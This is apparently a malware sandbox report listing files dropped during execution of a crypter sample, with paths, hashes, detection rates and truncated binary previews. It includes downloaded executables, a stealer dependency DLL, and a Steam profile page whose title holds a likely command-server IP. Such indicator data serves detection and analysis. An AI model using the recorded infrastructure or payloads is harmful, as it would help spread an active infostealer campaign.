File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	390560
Entropy (8bit):	7.988255985085606
Encrypted:	false
SSDEEP:	6144:0dx0vN4gouCbr2AVHvPFFo9c1WAClFgmZLb38kHh4auf7I2uceHyJDPvHa+V4TgW:0d4ouIvlvPQ+NCLp1j5B4aAlLX/M0uEO
MD5:	992176158EF56D4A8A2C4EEFBA240126
SHA1:	F90D45C270B3A692B8AF3E4809447202FB23BA7A
SHA-256:	202AFF26415F9BCE8F95FEFA36568C65D28FCA7A511C0D2E23991DCADCED7847
SHA-512:	E7327363B437ABF958F5ED358C53ED57AEF4946C35AFFAD036A36A790AB5CE9C19279FA74AB83B0E95318E044B9907991D17F9B8FCDD225556D6BC6FAC2F5E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 41%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................ ........@.. ....................................`.....................................S...................x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........................................................................b...8...<i......(P)N.V..v7N.C..9....g.P..62.....;.i....`....u..g...F....3.d.:....G.k.N.j.....y..w8w....PW.4k.h..iy.{....L,.[...q.=..p,w\|.q...~.>}aNS..w..W.8S..>.X.....6...>Y.1T".n...OV.i.~b...p.......#S.....$o...^.v8...J....Aw...:.......$g&H..D.\.....tH...^.=53...]....F....6....hj5<.G..O..v5...~.%..i.....$#U..V.....r^HN.S.....1.L....fH.....ew....!......j>.....].....<..=B.k.\.{Bf

C:\Users\userHJDBAFIECG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423328
Entropy (8bit):	7.9889468260390535
Encrypted:	false
SSDEEP:	6144:ruFHcG6dc0A3+yfikluZRt6wfSYZc6pNLuvFJzPmhsiqvK5XEHAkgDkJEO:rCL3+YllubttfS16pNuTUqi1EE2EO
MD5:	A463E516041F4BC84F03BC8FE2B643DD
SHA1:	5A3EC50E94565671531E1CE66C2EE1D1A88A0E09
SHA-256:	68024EBC8676FEB8C4B480F5042A8FE8F108A88FC20FC6DBFC3CF92707F148B8
SHA-512:	5657068CF82679A6CC5636FE4F465834F9340EF0C48A35CA412988F50909922654291BED9178B8990EBA2430569E1EBECD45CAD119C5A524616C75187D4DABDE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26% Antivirus: Virustotal, Detection: 40%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2..f.............................:... ...@....@.. ....................................`..................................:..S....@..............xO..(&...`......`9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H......................................................................p....C...~V...{..S..gi.~f..<......(.Q>;&.&...F+.&/.g..c^.,q.v...[0..BW.e.P}..........(.....D.(D.h]....2..1.P..3@K........0JX....r...yJ.&...g....A...G..R`...6..t....<40........9.. !G..W.`..6 #..D..7.;.{...-..4...TQ.0Vs..U..!DU..).np...!..l.S...H......A.D_.d...N.15.ouP...r.G..;.$qt.y...I.'...'...]?......d.........s<;(.yd3..4.:..U. .......n.9....u-![...~p..e.8....n.Cn`..8.q...J.L..$F.

C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1075200
Entropy (8bit):	7.828820550765554
Encrypted:	false
SSDEEP:	24576:WdYRGW0Hr/0s93L2wy3Dz39bQw4D68c1y3wYx0DRTejblcicS32UxibH:6YRGWYJqw0DL9swKw18wG0DRTejblci0
MD5:	8C8AF20BF6536903C1D042CEBEDE6475
SHA1:	8EF42ABC3AD478F6D8C17691FE4CC1975CA43684
SHA-256:	B15BDB0A4D7F265CF4ED7C46668F4CA247347CA2CE4A7689CB8DBB25863F294A
SHA-512:	8F68E5302D07FB74DDE0E42E0D370E1CB7C1D6B0372633FCFAAB95CD1D12F9786C4E44E71B3CC98EEEB60EA10F54497773C3B4AA58AFA5297FAD93A3F11097E0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 33%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P..@...&.......^... ...`....@.. ...............................D....@..................................]..O....`..F#...........................]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc...F#...`...$...B..............@..@.reloc...............f..............@..B.................]......H........D...J..............`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r)..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1IvCzYfqoD3SHvKt45m1rbHu.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\XO9lsdL5g6aUibu31TDcoBrI.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Yt_9y5LuIpBZXKd9EiYluKkG.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\g2v2mVtOHdxh9ZgrtYde5yf0.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hd4YBtMwCrxG4M3aLLza89vv.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ea645129e6a_jacobs[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11496960
Entropy (8bit):	7.95681767955623
Encrypted:	false
SSDEEP:	196608:0GTSo6ARyCFMI19DwkfAuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDap1B6:0GTz6uyCfDwkfAuH8kv477RWXJs59Nqs
MD5:	D60D266E8FBDBD7794653ECF2ABA26ED
SHA1:	469ED7D853D590E90F05BDF77AF114B84C88DE2C
SHA-256:	D4DF1ABA83289161D578336E1B7B6DAF7269BB73ACC92BD9DFA2C262EBC6C4D2
SHA-512:	80DF5D568E34DFC086F546E8D076749E58A7230ED1AA33F3A5C9D966809BECADC9922317095032D6E6A7ECDFBFBCE02A72CC82513AB0D132C5FFA6C07682BD87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 64%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#.................]p.........@.............................`............ .....................................................<....P......@...`*...........................................F..(.......8............... ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..p.-......................... ..`.text1..X...........................@....text2...`.......b..................`..h.rsrc........P.......h..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ed9885d9aee_Day2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3141632
Entropy (8bit):	7.172503458895126
Encrypted:	false
SSDEEP:	49152:9f8m3F6fh7gW5YPOAfS7kALAcRbqIvKzHuXtkHZC1:9kmnW5mOkSgiRbIitk5I
MD5:	1FEDF314D7C5ED06FF6833C9C8FE5441
SHA1:	AC0F8C841D197A3DB368A3C646D242541ECE144B
SHA-256:	279AF267D365013227156575DCF61B6977CE4051DD4632515BD224314CEA7C59
SHA-512:	6328A2828A77FDAC906710552842A584208066033119F62AE0E97DA88DB37C35C02D368B554E58030D949E2DAD19715BF351284332706D939F8C6754D4DC9242
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47% Antivirus: Virustotal, Detection: 52%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........................)..........)).. ...@)...@.. .......................`0...........@..................................)).K....`)......................@0.....O)).............................................. ............... ..H............text.....).. ....)................. ..`.sdata.......@).......).............@....rsrc........`).......).............@..@.reloc.......@0......./.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\easyfirewall[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22487040
Entropy (8bit):	5.272510082812899
Encrypted:	false
SSDEEP:	98304:Y/pLh1GGefzPX7NMW/uegYYFa5g1XkEN2shGZ5gzo/3KR:Yf1GPXpb/ue1Aa5g1NNDmv/3
MD5:	CB3952F1852179348F8D2DB91760D03B
SHA1:	4D2C9D9B09226524868760263C873EDC664456A9
SHA-256:	A9EA40670A686E175CC8C32E3FC6BA92505379303D6524F149022490A2DDA181
SHA-512:	163006435A30B31FF0B079215EFC0CEDF6A624516AF1FFCCBC6144CFDB205B822029D523F28EC86E0391AF1B741771B860CF4D3492C87567A55F541A39C69D11
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13% Antivirus: Virustotal, Detection: 26%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..h...W..,.............@..............................`......*W...`... ...................................... Z.N....0Z.X....pZ......pM..f...........`\..P..........................._M.(....................4Z.X............................text... .h.......h.................`.``.data....+....i..,....h.............@.`..rdata...-...@p......&p.............@.`@.pdata...f...pM..h...TM.............@.0@.xdata..`.....P.......P.............@.0@.bss.....+....P.......................`..edata..N.... Z.......P.............@.0@.idata..X....0Z.......P.............@.0..CRT....p....PZ.......P.............@.@..tls.........`Z.......P.............@.@..rsrc........pZ.......P.............@.0..reloc...P...`\..R....R.............@.0B................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vfsdgdf[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423328
Entropy (8bit):	7.9889468260390535
Encrypted:	false
SSDEEP:	6144:ruFHcG6dc0A3+yfikluZRt6wfSYZc6pNLuvFJzPmhsiqvK5XEHAkgDkJEO:rCL3+YllubttfS16pNuTUqi1EE2EO
MD5:	A463E516041F4BC84F03BC8FE2B643DD
SHA1:	5A3EC50E94565671531E1CE66C2EE1D1A88A0E09
SHA-256:	68024EBC8676FEB8C4B480F5042A8FE8F108A88FC20FC6DBFC3CF92707F148B8
SHA-512:	5657068CF82679A6CC5636FE4F465834F9340EF0C48A35CA412988F50909922654291BED9178B8990EBA2430569E1EBECD45CAD119C5A524616C75187D4DABDE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2..f.............................:... ...@....@.. ....................................`..................................:..S....@..............xO..(&...`......`9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H......................................................................p....C...~V...{..S..gi.~f..<......(.Q>;&.&...F+.&/.g..c^.,q.v...[0..BW.e.P}..........(.....D.(D.h]....2..1.P..3@K........0JX....r...yJ.&...g....A...G..R`...6..t....<40........9.. !G..W.`..6 #..D..7.;.{...-..4...TQ.0Vs..U..!DU..).np...!..l.S...H......A.D_.d...N.15.ouP...r.G..;.$qt.y...I.'...'...]?......d.........s<;(.yd3..4.:..U. .......n.9....u-![...~p..e.8....n.Cn`..8.q...J.L..$F.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\66ee79315857f_setup33333[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	418816
Entropy (8bit):	6.7434348766555265
Encrypted:	false
SSDEEP:	6144:6FlsK6LzPfEoIw13JVbP2GOSbkee7xJVGZchwrWEKCoD0Yj8lmxEkuPF7:zK6HfEBsJVblOIQxGZYIWlaNV
MD5:	2F59FBD6623872FBDC2F63D18023BFDA
SHA1:	A71FD212DC780EDD062584ACFE3FC28A8090D039
SHA-256:	0C50705ED7CFC68F11AECD4CEE0B808934D4957672AC0EA0615E9A1C31870A52
SHA-512:	BD2CAEB7E88B333B31A864B66FE7B14CDF86560B488AE2B911893A059E184E7A80F0EDE8423AC8C10DE2BCFF3F5A85D1477F0A2E74986066F69D636D159B62F8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M............f......f./....f...\...."..........f......f.+....f.,....Rich...........PE..L.....%d.................H..........~>.......`....@.........................................................................J..x..................................LK...............................*..@...............$............................text...jG.......H.................. ..`.data........`...Z...L..............@....rsrc..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\66eea6336b153_app16540406983468141987[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	331640
Entropy (8bit):	7.987353721341769
Encrypted:	false
SSDEEP:	6144:abAWIT0bNaTfjfPsC/LEkuPlXVRKur64ZXzK7rrn31nvFRHW/SPxjM9jg3gfQ9:abA+bKTDjEkuPlFEurPm1nvvHW6Cjg3n
MD5:	E8E6CD9EC48FAFCCC174F7BF07D045E2
SHA1:	0DFCCF235DC62D2592F5062A1B9691043C14CC9E
SHA-256:	76B4E6A99335D5FFA35E15863B544BF2EC9ED76CC8320E1D3E2F521A27018D07
SHA-512:	33E6C097784B29D3CBA17B751B3E87EA9D583DBF19646897843471F96EFD88E9B64D529A5F2C9FA13B9EDAD5D7CCF8D454E496FC63F1B288C44FD8509E8C1459
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...=..f............................^.... ........@.. .......................@............`.....................................S.......................x)... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H...........................................................................6.....Z...9)..^........j...PtY.#..A.R.\...d.4..7.Z..&w.w\|.5.':.T..~...x....T...7M.w.Sa...Qp.R.t.u...qzD(&...4.. .:O.d....V[. c..l.prK.]..v....Y\_.{.....'..T.-f..av...w(H.n.]..gpj)...OKV.......q..Q..y.P.!..Y;O.0.....@.y...t.".u...7n.B.=.......C^.=.Mi......4......b.~..t..d.......#......Xa`.I\.R!...'}>.}..X...J.v.__...n.....\..f.'>...}....."..j(..vFQC..'l..'7..p..:............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\66ebb3bf78bd6_Send[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3037032
Entropy (8bit):	6.781602952551882
Encrypted:	false
SSDEEP:	49152:PqRtSgOLEJxW+BmNlgtTTqEva2+qb6Xy3gIYvfe2radRo8ap5XAnZ2JarsW:VgaEJxlBolgtCEvZuXyQbUzozXAnZUW
MD5:	098E15E88E5332253356C78BADF8D479
SHA1:	D5AAEB94EC0D92BD9AA7D4B76860E9C25CF10EE2
SHA-256:	6B89CDFE0D3EBC90994EE564AAC9C88B0DF80F25720AEDADFF660A0D079AD0C9
SHA-512:	27E7480332F7F07916399D9515057750E43F42D68AEBA095C77AB76616F899F49269EC78738F10D39D6869F67FF4EF768C03BA52A649C652AFA9EE161F2E1892
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$......... ...N...N...N......N.`6....N...K...N.#i....N.#i...N...M...N...J..N...K..N...O...N..P5...N.i.O..N...O.:.N.i.K..N.i.N...N.l....N.......N.i.L...N.Rich..N.........................PE..L.....%`.................8...........$.......P....@...................................!...@..........................%.....T...\.... ...f...........>..h............)..T...................D*.......)..@............P...............................text....@.......8.................. ..`.rdata...0...P...(...<..............@..@.data............n...d..............@....tls................................@....gfids..............................@..@.rsrc....f... ...h..................@..@........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34740
Entropy (8bit):	5.400372709234735
Encrypted:	false
SSDEEP:	768:Rdpqme0Ih3tAA6WG1IfcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2S8:Rd8me0Ih3tAA6WG1IFhTBv++nIjBtPFV
MD5:	D45CC2EE8A28D0CF79B612B162B40D05
SHA1:	019DABE882B9DAD59E92452DCA6AB2A964100ED2
SHA-256:	CEE46554C0EDDEEAF23A218AE1EC1BC87FEA042A5285667A861A6BF6FD642942
SHA-512:	1FC70646D70EC2DD8673B593DC6500FA390C0B0DD1141F3E1A798293B8C8FD388F94C4698825E8857BB6B1C02C654CF476E21996AB63C7D99015B1719CBA9C2E
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://116.203.165.127\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=QI-9YLc_mdtk&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link h

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
